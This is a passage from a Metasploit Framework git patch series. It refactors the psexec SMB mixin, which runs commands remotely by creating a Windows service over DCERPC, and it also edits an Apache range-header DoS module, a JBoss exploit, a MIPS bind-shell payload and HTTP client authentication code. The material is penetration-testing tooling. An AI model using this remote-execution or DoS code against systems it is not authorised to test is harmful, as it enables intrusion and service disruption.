NDR.long(0) # Password + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password begin vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) @@ -97,8 +107,7 @@ module Exploit::Remote::Psexec end vprint_status("#{peer} - Opening service...") begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] @@ -108,8 +117,7 @@ module Exploit::Remote::Psexec return false end vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) + stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil @@ -119,8 +127,7 @@ module Exploit::Remote::Psexec return false end vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle + stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil @@ -139,52 +146,6 @@ module Exploit::Remote::Psexec return true end - - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end - - - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end - - - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - begin - @dropped_files.delete_if do |file| - file_rm(file) - print_good("#{peer} - Deleted #{file}") - end - rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanup_error - print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") - end - end - end end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 00f17808c1..f249af1ed2 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -18,6 +18,8 @@ module Msf module Exploit::Remote::SMB + require 'msf/core/exploit/psexec' + include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -90,6 +92,13 @@ module Exploit::Remote::SMB register_autofilter_services(%W{ netbios-ssn microsoft-ds }) end + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) def connect(global=true) disconnect() if global @@ -132,7 +141,12 @@ module Exploit::Remote::SMB Rex::Text.to_unicode(str) end - # This method establishes a SMB session over the default socket + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] def smb_login simple.login( datastore['SMBName'], @@ -217,13 +231,55 @@ module Exploit::Remote::SMB end end + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + # # Fingerprinting methods # - # This method the EnumPrinters() function of the spooler service + # Calls the EnumPrinters() function of the spooler service def smb_enumprinters(flags, name, level, blen) stub = NDR.long(flags) + @@ -632,10 +688,7 @@ module Exploit::Remote::SMB fprint end - # - # Accessors - # - + # @return [Rex::Proto::SMB::SimpleClient] attr_accessor :simple end @@ -785,7 +838,6 @@ module Exploit::Remote::SMBServer c.put(pkt.to_s) end - end diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1bc21c97c3..15e51b112e 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -4,12 +4,12 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - # Exploit mixins should be called first + include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner - include Msf::Exploit::Remote::DCERPC # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient @@ -58,213 +58,72 @@ class Metasploit3 < Msf::Auxiliary # This is the main controle method def run_host(ip) text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" - bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" - smbshare = datastore['SMBSHARE'] + bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" + @smbshare = datastore['SMBSHARE'] + @ip = ip - #Try and authenticate with given credentials + # Try and authenticate with given credentials if connect begin smb_login - rescue StandardError => autherror + rescue Rex::Proto::SMB::Exceptions::Error => autherror print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}") return end - if execute_command(ip, text, bat) - get_output(smbshare, ip, text) + if execute_command(text, bat) + get_output(text) end - cleanup_after(smbshare, ip, text, bat) + cleanup_after(text, bat) disconnect end end # Executes specified Windows Command - def execute_command(ip, text, bat) + def execute_command(text, bat) + # Try and execute the provided command + execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" + print_status("#{peer} - Executing the command...") begin - #Try and execute the provided command - execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}" - print_status("#{peer} - Executing the command...") return psexec(execute) - rescue StandardError => exec_command_error + rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error print_error("#{peer} - Unable to execute specified command: #{exec_command_error}") return false end end # Retrive output from command - def get_output(smbshare, ip, file) - begin - print_status("#{peer} - Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - if output.empty? - print_status("#{peer} - Command finished with no output") - return - end - print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}") - return - rescue StandardError => output_error - print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.") + def get_output(file) + print_status("#{peer} - Getting the command output...") + output = smb_read_file(@smbshare, @ip, file) + if output.nil? + print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.") return end + if output.empty? + print_status("#{peer} - Command finished with no output") + return + end + print_good("#{peer} - Command completed successfuly! Output:") + print_line("#{output}") end - # This is the cleanup method, removes .txt and .bat file/s created during execution- - def cleanup_after(smbshare, ip, text, bat) - begin - # Try and do cleanup command - cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}" - print_status("#{peer} - Executing cleanup...") - psexec(cleanup) - if !check_cleanup(smbshare, ip, text) - print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.") - else - print_status("#{peer} - Cleanup was successful") + # Removes files created during execution. + def cleanup_after(*files) + simple.connect("\\\\#{@ip}\\#{@smbshare}") + print_status("#{peer} - Executing cleanup...") + files.each do |file| + begin + smb_file_rm(file) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror + print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}") end - rescue StandardError => cleanuperror - print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}") - print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target") - return cleanuperror end - end - - def check_cleanup(smbshare, ip, text) - simple.connect("\\\\#{ip}\\#{smbshare}") - begin - if checktext = simple.open(text, 'ro') - check = false - else - check = true - end - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return check - rescue StandardError => check_error - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return true + left = files.collect{ |f| smb_file_exist?(f) } + if left.any? + print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.") + else + print_status("#{peer} - Cleanup was successful") end end - # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! - # Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater - def psexec(command) - - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - end From 4703278183733aae69839846bbdb20a2adaaa6f0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 12:55:06 -0600 Subject: [PATCH 283/448] Move SMB mixins into their own directory --- lib/msf/core/exploit/dcerpc.rb | 2 +- lib/msf/core/exploit/smb.rb | 18 ++------------- lib/msf/core/exploit/smb/authenticated.rb | 22 +++++++++++++++++++ lib/msf/core/exploit/{ => smb}/psexec.rb | 5 +++-- modules/auxiliary/admin/smb/psexec_command.rb | 4 +--- 5 files changed, 29 insertions(+), 22 deletions(-) create mode 100644 lib/msf/core/exploit/smb/authenticated.rb rename lib/msf/core/exploit/{ => smb}/psexec.rb (97%) diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index 51b11c738b..ff700984be 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -21,7 +21,7 @@ module Exploit::Remote::DCERPC DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID + DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index f249af1ed2..6e24ea986e 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -4,7 +4,6 @@ require 'rex/proto/ntlm' require 'rex/proto/dcerpc' require 'rex/encoder/ndr' - module Msf ### @@ -18,7 +17,8 @@ module Msf module Exploit::Remote::SMB - require 'msf/core/exploit/psexec' + require 'msf/core/exploit/smb/authenticated' + require 'msf/core/exploit/smb/psexec' include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -35,20 +35,6 @@ module Exploit::Remote::SMB DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR - # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced - # Included when the module needs credentials to function - module Authenticated - def initialize(info = {}) - super - register_options( - [ - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) - end - end - def initialize(info = {}) super diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/authenticated.rb new file mode 100644 index 0000000000..62bfdd4703 --- /dev/null +++ b/lib/msf/core/exploit/smb/authenticated.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +module Msf + +# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced +# Included when the module needs credentials to function +module Exploit::Remote::SMB::Authenticated + + include Msf::Exploit::Remote::SMB + + def initialize(info = {}) + super + register_options( + [ + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), + ], Msf::Exploit::Remote::SMB::Authenticated) + end +end + +end diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb similarity index 97% rename from lib/msf/core/exploit/psexec.rb rename to lib/msf/core/exploit/smb/psexec.rb index 58e6788695..3ba505c6cf 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/smb/psexec.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/dcerpc' @@ -11,10 +12,10 @@ module Msf # and runing a binary. #### -module Exploit::Remote::Psexec +module Exploit::Remote::SMB::Psexec include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Authenticated # Retrives output from the executed command # diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 15e51b112e..54be82308f 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -5,9 +5,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated - include Msf::Exploit::Remote::Psexec + include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner From 92093cd7d802f7896661a3e96dcfab703f9d6493 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 15:04:18 -0600 Subject: [PATCH 284/448] There's no HttpClient, so it shouldn't be using normalize_uri --- modules/auxiliary/dos/http/apache_range_dos.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 1ab9785c41..1cab306c3e 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary end def run - uri = normalize_uri(datastore['URI']) + uri = datastore['URI'] ranges = '' for i in (0..1299) do ranges += ",5-" + i.to_s From 040296f13a7aa30e5366d77bfe89af198e20904c Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 15:41:31 -0600 Subject: [PATCH 285/448] Make travis install libpcap-dev --- .travis.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.travis.yml b/.travis.yml index 6b74b25154..b091d3aaa6 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,4 +1,8 @@ language: ruby +before_install: + - sudo apt-get update -qq + - sudo apt-get install -qq libpcap-dev + rvm: #- '1.8.7' - '1.9.3' From f1416d909c3747e830c9ceae648e8fa5295b411a Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Feb 2013 16:18:29 -0600 Subject: [PATCH 286/448] Fix a typo that broke this module against x64 [SeeRM #7747] --- modules/exploits/multi/http/jboss_maindeployer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..5d869b34ca 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -350,7 +350,7 @@ class Metasploit3 < Msf::Exploit::Remote arch = $1 if (arch =~ /(x86|i386|i686)/i) return ARCH_X86 - elsif (os =~ /(x86_64|amd64)/i) + elsif (arch =~ /(x86_64|amd64)/i) return ARCH_X86 end end From 0662677a72a2223eb295550cd6022e52436658f3 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 17:19:16 -0600 Subject: [PATCH 287/448] First minor cleanup sweep --- lib/rex/proto/http/client.rb | 80 +++++++++++++--------------- lib/rex/proto/http/client_request.rb | 2 +- 2 files changed, 38 insertions(+), 44 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 0244a9eb3e..13d36d91c0 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -169,27 +169,28 @@ class Client # # @return [Request] def request_raw(opts={}) - opts['agent'] ||= config['agent'] - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['version'] = opts['version'] || config['version'] || '1.1' - opts['cgi'] = false - opts['port'] = self.port + opts['agent'] ||= config['agent'] + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + + opts['cgi'] = false + opts['port'] = self.port + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['version'] = opts['version'] || config['version'] || '1.1' if opts['basic_auth'] and not opts['authorization'] opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(opts,self.config) + req = ClientRequest.new(self.config,opts) end @@ -205,24 +206,25 @@ class Client # # @return [Request] def request_cgi(opts={}) - opts['agent'] ||= config['agent'] - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['ctype'] ||= 'application/x-www-form-urlencoded' - opts['vars_get'] ||= {} - opts['vars_post'] ||= {} - opts['version'] = opts['version'] || config['version'] || '1.1' - opts['cgi'] = true - opts['port'] = self.port + opts['agent'] ||= config['agent'] + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['vars_get'] ||= {} + opts['vars_post'] ||= {} + + opts['cgi'] = true + opts['port'] = self.port + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['version'] = opts['version'] || config['version'] || '1.1' if opts['encode_params'] == true or opts['encode_params'].nil? opts['encode_params'] = true @@ -234,7 +236,7 @@ class Client opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) end - req = ClientRequest.new(opts,self.config) + req = ClientRequest.new(self.config,opts) end # @@ -396,7 +398,6 @@ class Client # We do persist the rest of the connection stream because Digest is a tcp session # based authentication method. # - def digest_auth(opts={}) @nonce_count = 0 @@ -753,13 +754,6 @@ class Client pipeline end - # - # Return the Authorization basic-auth header - # - def set_basic_auth_header(auth) - auth ? set_formatted_header("Authorization", "Basic " + Rex::Text.encode_base64(auth)) : "" - end - # # The client request configuration # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index c24d9a8c4a..8af865bde1 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -34,7 +34,7 @@ class ClientRequest attr_reader :opts - def initialize(opts={}, client_config) + def initialize(client_config,opts={}) @cgi = opts['cgi'] @config = client_config @connection = opts['connection'] From 3949c851a426af9ebb8d6384cfcec28aac3db999 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 19 Feb 2013 17:53:48 -0600 Subject: [PATCH 288/448] Was, indeed, missing an or pipe --- lib/msf/core/auxiliary/login.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 29556b1243..3072a44907 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -50,8 +50,8 @@ module Auxiliary::Login \n\*$ | (Login ?|User ?)(name|): | ^\s*\<[a-f0-9]+\>\s*$ | - ^\s*220.*FTP - not\ allowed + ^\s*220.*FTP| + not\ allowed\ to\ log\ in )/mix @waiting_regex = /(?: From 04ec4e432db969dc68b7cd94baed9d5c0795c7ee Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 01:02:58 +0100 Subject: [PATCH 289/448] minor cleanup for shell_bind_tcp --- modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 2c4ae5e3a5..c4f305f513 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -23,7 +19,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Linux Command Shell, Bind TCP Inline', - 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell', 'Author' => 'Vlatko Kosturjak', 'License' => MSF_LICENSE, @@ -40,7 +35,7 @@ module Metasploit3 end def generate - if(!datastore['LPORT'] or datastore['LPORT'].empty? ) + if !datastore['LPORT'] return super end From a4905e43a2ebcabf8d8f3ef82f9964c09797a4c8 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 18:40:39 -0600 Subject: [PATCH 290/448] Fix the way creds are passed + YARD some ayrddocs on send_auth plus fix the wierd way i was passing creds around --- lib/rex/proto/http/client.rb | 36 +++++++++++++++++------------------- 1 file changed, 17 insertions(+), 19 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 13d36d91c0..66a4780618 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -319,6 +319,7 @@ class Client # # @param req [Request,#to_s] The request to send # @param t (see #connect) + # def send_request(req, t = -1) connect(t) conn.put(req.to_s) @@ -329,31 +330,29 @@ class Client !(self.username.nil?) && self.username != '' end - # - # Params - - # res = The 401 response we need to auth from - # opts = the opts used to generate the request that created this response - # t = the timeout for the http requests - # persist = whether to persist the tcp connection for HTTP Pipelining - # - # Parses the response for what Authentication methods are supported. - # Sets the corect authorization options and passes them on to the correct - # method for sending the next request. + # Resends an HTTP Request with the propper authentcation headers + # set. If we do not support the authentication type the server requires + # we return the original response object + # @param res [Response] the HTTP Response object + # @param opts [Hash] the options used to generate the original HTTP request + # @param t [Fixnum] the timeout for the request in seconds + # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) + # @return [Response] the last valid HTTP response object we received def send_auth(res, opts, t, persist) + opts['username'] ||= self.username + opts['password'] ||= self.password supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(self.username,self.password) + opts['headers']['Authorization'] = basic_auth_header(username,password) else - opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)} + opts['headers'] = { 'Authorization' => basic_auth_header(username,password)} end req = request_cgi(opts) res = _send_recv(req,t,persist) return res elsif supported_auths.include? "Digest" - opts['DigestAuthUser'] = self.username.to_s - opts['DigestAuthPassword'] = self.password.to_s temp_response = digest_auth(opts) if temp_response.kind_of? Rex::Proto::Http::Response res = temp_response @@ -403,8 +402,8 @@ class Client to = opts['timeout'] || 20 - digest_user = opts['DigestAuthUser'] || "" - digest_password = opts['DigestAuthPassword'] || "" + digest_user = opts['username'] || "" + digest_password = opts['password'] || "" method = opts['method'] path = opts['uri'] @@ -539,7 +538,6 @@ class Client # Builds a series of requests to complete Negotiate Auth. Works essentially # the same way as Digest auth. Same pipelining concerns exist. # - def negotiate_auth(opts={}) ntlm_options = { :signing => false, @@ -550,8 +548,8 @@ class Client } to = opts['timeout'] || 20 - opts['username'] ||= self.username.to_s - opts['password'] ||= self.password.to_s + opts['username'] ||= '' + opts['password'] ||= '' if opts['provider'] and opts['provider'].include? 'Negotiate' provider = "Negotiate " From de4234f0adfe877ede4d7d816f21ece5e6004cb8 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 18:48:03 -0600 Subject: [PATCH 291/448] Some more YARD docs --- lib/rex/proto/http/client.rb | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 66a4780618..132c7cdaf0 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -383,20 +383,9 @@ class Client auth_str = "Basic " + Rex::Text.encode_base64(auth_str) end - - # - # Opts - - # Inherits all the same options as send_request_cgi - # Also expects some specific opts - # DigestAuthUser - The username for DigestAuth - # DigestAuthPass - The password for DigestAuth - # DigestAuthIIS - IIS uses a slighlty different implementation, set this for IIS support - # - # This method builds new request to complete a Digest Authentication cycle. - # We do not persist the original connection , to clear state in preparation for our auth - # We do persist the rest of the connection stream because Digest is a tcp 